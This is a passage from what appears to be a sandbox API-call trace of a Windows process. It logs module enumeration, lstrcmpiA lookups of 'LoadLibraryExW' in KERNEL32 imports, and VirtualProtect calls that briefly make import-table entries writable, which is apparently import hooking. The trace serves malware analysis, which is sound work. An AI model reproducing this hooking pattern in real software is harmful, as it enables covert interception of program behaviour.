lpString2="LoadLibraryExW") returned -1 [0070.900] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="LoadLibraryExW") returned 1 [0070.900] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0070.900] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0070.900] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0070.900] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0070.900] lstrcmpiA (lpString1="GetLocalTime", lpString2="LoadLibraryExW") returned -1 [0070.900] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0070.900] lstrcmpiA (lpString1="GlobalAlloc", lpString2="LoadLibraryExW") returned -1 [0070.900] lstrcmpiA (lpString1="GetOEMCP", lpString2="LoadLibraryExW") returned -1 [0070.900] lstrcmpiA (lpString1="LockResource", lpString2="LoadLibraryExW") returned 1 [0070.900] lstrcmpiA (lpString1="LoadResource", lpString2="LoadLibraryExW") returned 1 [0070.900] lstrcmpiA (lpString1="SizeofResource", lpString2="LoadLibraryExW") returned 1 [0070.901] lstrcmpiA (lpString1="FindResourceW", lpString2="LoadLibraryExW") returned -1 [0070.901] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0070.901] VirtualProtect (in: lpAddress=0x7fefee82268, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x2) returned 1 [0070.901] VirtualProtect (in: lpAddress=0x7fefee82268, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x40) returned 1 [0070.901] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x76f40000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x76f40000, AllocationBase=0x76f40000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.901] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0070.901] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0e40 [0070.901] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0070.901] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0070.901] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0070.901] lstrcmpiA (lpString1="GlobalGetAtomNameW", lpString2="LoadLibraryExW") returned -1 [0071.010] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.010] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.010] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0071.010] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0071.010] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0071.010] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0071.010] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="LoadLibraryExW") returned -1 [0071.010] lstrcmpiA (lpString1="GlobalAddAtomA", lpString2="LoadLibraryExW") returned -1 [0071.010] lstrcmpiA (lpString1="GetModuleFileNameA", lpString2="LoadLibraryExW") returned -1 [0071.010] lstrcmpiA (lpString1="GlobalFindAtomA", lpString2="LoadLibraryExW") returned -1 [0071.010] lstrcmpiA (lpString1="lstrlenA", lpString2="LoadLibraryExW") returned 1 [0071.010] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0071.010] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0071.010] lstrcmpiA (lpString1="QueryPerformanceFrequency", lpString2="LoadLibraryExW") returned 1 [0071.010] lstrcmpiA (lpString1="LCMapStringW", lpString2="LoadLibraryExW") returned -1 [0071.010] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0071.010] lstrcmpiA (lpString1="GetFileSize", lpString2="LoadLibraryExW") returned -1 [0071.010] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0071.010] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="LoadLibraryExW") returned -1 [0071.010] lstrcmpiA (lpString1="GetVersionExW", lpString2="LoadLibraryExW") returned -1 [0071.010] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="LoadLibraryExW") returned 1 [0071.010] lstrcmpiA (lpString1="RegEnumValueW", lpString2="LoadLibraryExW") returned 1 [0071.010] lstrcmpiA (lpString1="RegQueryInfoKeyW", lpString2="LoadLibraryExW") returned 1 [0071.010] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="LoadLibraryExW") returned 1 [0071.011] lstrcmpiA (lpString1="GetSystemDefaultLangID", lpString2="LoadLibraryExW") returned -1 [0071.011] lstrcmpiA (lpString1="IsDBCSLeadByte", lpString2="LoadLibraryExW") returned -1 [0071.011] lstrcmpiA (lpString1="WerpNotifyUseStringResource", lpString2="LoadLibraryExW") returned 1 [0071.011] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0071.011] lstrcmpiA (lpString1="ProcessIdToSessionId", lpString2="LoadLibraryExW") returned 1 [0071.011] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0071.011] lstrcmpiA (lpString1="GetThreadLocale", lpString2="LoadLibraryExW") returned -1 [0071.011] lstrcmpiA (lpString1="GetLogicalDrives", lpString2="LoadLibraryExW") returned -1 [0071.011] lstrcmpiA (lpString1="FindClose", lpString2="LoadLibraryExW") returned -1 [0071.011] lstrcmpiA (lpString1="FindNextFileW", lpString2="LoadLibraryExW") returned -1 [0071.011] lstrcmpiA (lpString1="FindFirstFileW", lpString2="LoadLibraryExW") returned -1 [0071.012] VirtualProtect (in: lpAddress=0x76fc2878, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x2) returned 1 [0071.012] VirtualProtect (in: lpAddress=0x76fc2878, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x40) returned 1 [0071.012] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff1b0000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7feff1b0000, AllocationBase=0x7feff1b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0071.012] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0071.012] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0eb0 [0071.012] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0071.012] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.012] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.012] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.012] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.012] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.012] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.012] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.012] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.012] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0071.012] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.013] lstrcmpiA (lpString1="USP10.dll", lpString2="KERNEL32.DLL") returned 1 [0071.013] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef0eb0 | out: hHeap=0x1ee0000) returned 1 [0071.013] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd7f0000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fefd7f0000, AllocationBase=0x7fefd7f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0071.013] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0071.013] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0eb0 [0071.013] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0071.013] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0071.013] lstrcmpiA (lpString1="HeapFree", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0071.013] lstrcmpiA (lpString1="HeapSize", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0071.013] lstrcmpiA (lpString1="FindResourceA", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="LoadResource", lpString2="LoadLibraryExW") returned 1 [0071.013] lstrcmpiA (lpString1="LockResource", lpString2="LoadLibraryExW") returned 1 [0071.013] lstrcmpiA (lpString1="HeapDestroy", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0071.013] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0071.013] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0071.013] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.013] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.013] lstrcmpiA (lpString1="HeapCreate", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="LoadLibraryExW") returned 1 [0071.013] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="LoadLibraryExW") returned 1 [0071.013] lstrcmpiA (lpString1="HeapAlloc", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0071.013] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="LoadLibraryExW") returned -1 [0071.013] lstrcmpiA (lpString1="GetVersionExA", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0071.014] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0071.014] lstrcmpiA (lpString1="CreateFileA", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="lstrcmpiA", lpString2="LoadLibraryExW") returned 1 [0071.014] lstrcmpiA (lpString1="GetProfileStringA", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="GetProfileIntA", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0071.014] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0071.014] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0071.014] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0071.014] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="GetACP", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="IsValidLocale", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="ConvertDefaultLocale", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0071.014] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0071.014] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="GetFileSizeEx", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="CreateFileMappingA", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0071.014] lstrcmpiA (lpString1="FreeLibrary", lpString2="LoadLibraryExW") returned -1 [0071.014] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="LoadLibraryExW") returned 1 [0071.014] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0071.014] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.014] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0071.014] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0071.014] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef0eb0 | out: hHeap=0x1ee0000) returned 1 [0071.014] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef77f0000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fef77f0000, AllocationBase=0x7fef77f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0071.014] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0071.014] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0eb0 [0071.014] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0071.014] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0071.015] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.015] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.015] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0071.015] lstrcmpiA (lpString1="GetVersionExA", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="RaiseException", lpString2="LoadLibraryExW") returned 1 [0071.015] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0071.015] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0071.015] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0071.015] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0071.015] lstrcmpiA (lpString1="OpenFileMappingW", lpString2="LoadLibraryExW") returned 1 [0071.015] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="CompareStringOrdinal", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="WaitForSingleObjectEx", lpString2="LoadLibraryExW") returned 1 [0071.015] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0071.015] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0071.015] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0071.015] lstrcmpiA (lpString1="HeapSize", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="GetACP", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="GetModuleFileNameA", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="PulseEvent", lpString2="LoadLibraryExW") returned 1 [0071.015] lstrcmpiA (lpString1="GetFileTime", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="GetSystemInfo", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="CheckForReadOnlyResource", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="GetFileSize", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="DeleteFileW", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="_lread", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="GlobalHandle", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="MoveFileW", lpString2="LoadLibraryExW") returned 1 [0071.015] lstrcmpiA (lpString1="GetTempPathW", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="GetFileAttributesW", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="_lclose", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="_lwrite", lpString2="LoadLibraryExW") returned -1 [0071.015] lstrcmpiA (lpString1="_llseek", lpString2="LoadLibraryExW") returned -1 [0071.016] lstrcmpiA (lpString1="GetTempFileNameW", lpString2="LoadLibraryExW") returned -1 [0071.016] lstrcmpiA (lpString1="GetFullPathNameW", lpString2="LoadLibraryExW") returned -1 [0071.016] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0071.016] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0071.016] lstrcmpiA (lpString1="Beep", lpString2="LoadLibraryExW") returned -1 [0071.016] lstrcmpiA (lpString1="SizeofResource", lpString2="LoadLibraryExW") returned 1 [0071.016] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0071.016] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0071.016] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0071.016] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0071.016] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.016] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0071.016] lstrcmpiA (lpString1="HeapReAlloc", lpString2="LoadLibraryExW") returned -1 [0071.016] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0071.016] lstrcmpiA (lpString1="SearchPathW", lpString2="LoadLibraryExW") returned 1 [0071.016] lstrcmpiA (lpString1="ExitThread", lpString2="LoadLibraryExW") returned -1 [0071.016] lstrcmpiA (lpString1="CreateEventA", lpString2="LoadLibraryExW") returned -1 [0071.016] lstrcmpiA (lpString1="GetCurrentThread", lpString2="LoadLibraryExW") returned -1 [0071.016] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0071.016] lstrcmpiA (lpString1="GetPrivateProfileStringW", lpString2="LoadLibraryExW") returned -1 [0071.016] lstrcmpiA (lpString1="GetProfileStringW", lpString2="LoadLibraryExW") returned -1 [0071.016] lstrcmpiA (lpString1="LockResource", lpString2="LoadLibraryExW") returned 1 [0071.016] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0071.016] VirtualProtect (in: lpAddress=0x7fef78174a8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x2) returned 1 [0071.016] VirtualProtect (in: lpAddress=0x7fef78174a8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x40) returned 1 [0071.017] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc450000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fefc450000, AllocationBase=0x7fefc450000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0071.017] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0071.017] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0f20 [0071.017] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0071.017] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0071.017] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0071.017] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="API-MS-Win-Core-IO-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0071.017] lstrcmpiA (lpString1="profapi.dll", lpString2="KERNEL32.DLL") returned 1 [0071.017] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0071.017] lstrcmpiA (lpString1="PrivCopyFileExW", lpString2="LoadLibraryExW") returned 1 [0071.017] lstrcmpiA (lpString1="MoveFileExW", lpString2="LoadLibraryExW") returned 1 [0071.017] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0071.017] lstrcmpiA (lpString1="FindResourceW", lpString2="LoadLibraryExW") returned -1 [0071.017] lstrcmpiA (lpString1="SearchPathW", lpString2="LoadLibraryExW") returned 1 [0071.017] lstrcmpiA (lpString1="WaitForMultipleObjects", lpString2="LoadLibraryExW") returned 1 [0071.017] lstrcmpiA (lpString1="CreateSymbolicLinkW", lpString2="LoadLibraryExW") returned -1 [0071.017] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="DNSAPI.dll", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="IPHLPAPI.DLL", lpString2="KERNEL32.DLL") returned -1 [0071.017] lstrcmpiA (lpString1="logoncli.dll", lpString2="KERNEL32.DLL") returned 1 [0071.017] lstrcmpiA (lpString1="netutils.dll", lpString2="KERNEL32.DLL") returned 1 [0071.018] lstrcmpiA (lpString1="ole32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.018] lstrcmpiA (lpString1="SspiCli.dll", lpString2="KERNEL32.DLL") returned 1 [0071.018] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="KERNEL32.DLL") returned 1 [0071.018] lstrcmpiA (lpString1="SHELL32.dll", lpString2="KERNEL32.DLL") returned 1 [0071.018] lstrcmpiA (lpString1="GPAPI.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] lstrcmpiA (lpString1="GPSVC.dll", lpString2="KERNEL32.DLL") returned -1 [0071.018] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef0f20 | out: hHeap=0x1ee0000) returned 1 [0071.018] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd0b0000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fefd0b0000, AllocationBase=0x7fefd0b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0071.018] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: 